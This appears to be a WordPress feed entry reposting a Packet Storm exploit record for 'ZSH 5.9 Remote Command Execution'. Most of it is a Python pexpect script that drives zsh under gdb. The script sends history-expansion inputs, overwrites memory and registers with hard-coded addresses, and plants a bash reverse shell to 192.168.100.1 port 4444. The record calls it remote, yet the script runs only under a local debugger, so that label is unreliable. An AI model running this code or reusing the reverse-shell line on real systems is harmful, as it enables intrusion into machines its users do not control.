{“lastseen”:”2026-04-10T17:17:03″,”description”:”ZSH version 5.9 proof of concept remote command execution exploit…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ZSH 5.9 Remote Command Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:218658″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit ZSH 5.9 – RCE \\n # Date: 30-12-2025\\n # Exploit Author: sinanadilrana\\n import pexpect\\n import sys\\n import time\\n \\n def debug_print(msg):\\n print(f\\”[DEBUG] {msg}\\”)\\n \\n def return_to_gdb(gdb, max_attempts=3, timeout=3):\\n \\”\\”\\”More reliable function to return to GDB prompt\\”\\”\\”\\n debug_print(\\”Attempting to return to GDB…\\”)\\n for attempt in range(max_attempts):\\n gdb.sendintr() # Send CTRL+C\\n time.sleep(0.5)\\n try:\\n index = gdb.expect([b’pwndbg\\u003e’, b’\\\\(gdb\\\\)’, pexpect.TIMEOUT], timeout=timeout)\\n if index in [0, 1]: # Found either pwndbg\\u003e or (gdb) prompt\\n debug_print(\\”Successfully returned to GDB\\”)\\n return True\\n except pexpect.EOF:\\n debug_print(\\”Session ended unexpectedly\\”)\\n return False\\n \\n debug_print(f\\”Attempt {attempt + 1} failed, retrying…\\”)\\n \\n debug_print(\\”Failed to return to GDB after maximum attempts\\”)\\n return False\\n \\n # Configure pexpect with consistent bytes mode\\n gdb = pexpect.spawn(‘gdb –args zsh -f’, timeout=30, encoding=None)\\n gdb.logfile = sys.stdout.buffer\\n \\n debug_print(\\”Starting GDB with zsh -f…\\”)\\n try:\\n gdb.expect(b’pwndbg\\u003e’, timeout=10)\\n debug_print(\\”GDB started successfully\\”)\\n except (pexpect.EOF, pexpect.TIMEOUT) as e:\\n debug_print(f\\”GDB failed to start: {str(e)}\\”)\\n sys.exit(1)\\n \\n # Run zsh and handle shell\\n debug_print(\\”Running zsh…\\”)\\n gdb.sendline(b’run’)\\n \\n shell_prompts = [b’% ‘, b’# ‘, b’\\\\\\\\$ ‘, b’vuln\\u003e’, b’vuln% ‘]\\n try:\\n gdb.expect(shell_prompts + [b’pwndbg\\u003e’], timeout=10)\\n debug_print(\\”Shell started successfully\\”)\\n except pexpect.TIMEOUT:\\n debug_print(\\”Timeout waiting for shell\\”)\\n gdb.sendintr()\\n time.sleep(1)\\n \\n # Shell command execution\\n if any(prompt in gdb.after for prompt in shell_prompts):\\n for cmd in [b’!’, b’!!11111111111′]:\\n debug_print(f\\”Sending: {cmd.decode(‘utf-8′, errors=’replace’)}\\”)\\n gdb.sendline(cmd)\\n try:\\n gdb.expect(shell_prompts, timeout=3)\\n debug_print(\\”Command executed\\”)\\n except pexpect.TIMEOUT:\\n debug_print(\\”No response from command\\”)\\n \\n # Use the new return_to_gdb function\\n if not return_to_gdb(gdb):\\n debug_print(\\”Critical error – couldn’t return to GDB\\”)\\n sys.exit(1)\\n \\n # Memory operations – simplified and more reliable\\n if b’pwndbg\\u003e’ in gdb.after:\\n mem_commands = [\\n b’x\/s 0x555555659000′,\\n b’set {char[120]} 0x555555659000 = \\”bash -c \\\\\\\\\\”bash -i \\u003e\\u0026 \/dev\/tcp\/192.168.100.1\/4444 0\\u003e\\u00261\\\\\\\\\\”\\”‘,\\n b’set {long}0x7fffffffd868 = 0x7ffff7cc9110′,\\n b’set $rdi = 0x555555659000′,\\n b’set $rsp = $rsp – 8′,\\n b’continue’,\\n b’set {long}$rsp = 0x55555555a000′,\\n b’set $rip = 0x7ffff7cc9110′,\\n b’set $rdi = 0x555555659000′,\\n b’continue’\\n ]\\n \\n for cmd in mem_commands:\\n debug_print(f\\”Executing: {cmd.decode(‘utf-8′, errors=’replace’)}\\”)\\n gdb.sendline(cmd)\\n try:\\n if b’continue’ in cmd:\\n gdb.expect([b’pwndbg\\u003e’] + shell_prompts, timeout=15)\\n else:\\n gdb.expect(b’pwndbg\\u003e’, timeout=5)\\n except pexpect.TIMEOUT:\\n debug_print(\\”Timeout – attempting to recover…\\”)\\n if not return_to_gdb(gdb):\\n debug_print(\\”Failed to recover after timeout\\”)\\n break\\n \\n # Final interactive mode\\n debug_print(\\”Complete – entering interactive\\”)\\n try:\\n gdb.logfile = None\\n gdb.interact()\\n except Exception as e:\\n debug_print(f\\”Interactive error: {str(e)}\\”)\\n finally:\\n gdb.close()”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218658″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218658\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T17:17:03″,”description”:”ZSH version 5.9 proof of concept remote command execution exploit…”,”published”:”2026-04-10T00:00:00″,”modified”:”2026-04-10T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ZSH 5.9 Remote Command Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:218658″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# Exploit ZSH 5.9 – RCE \\n # Date: 30-12-2025\\n #…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-42354","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n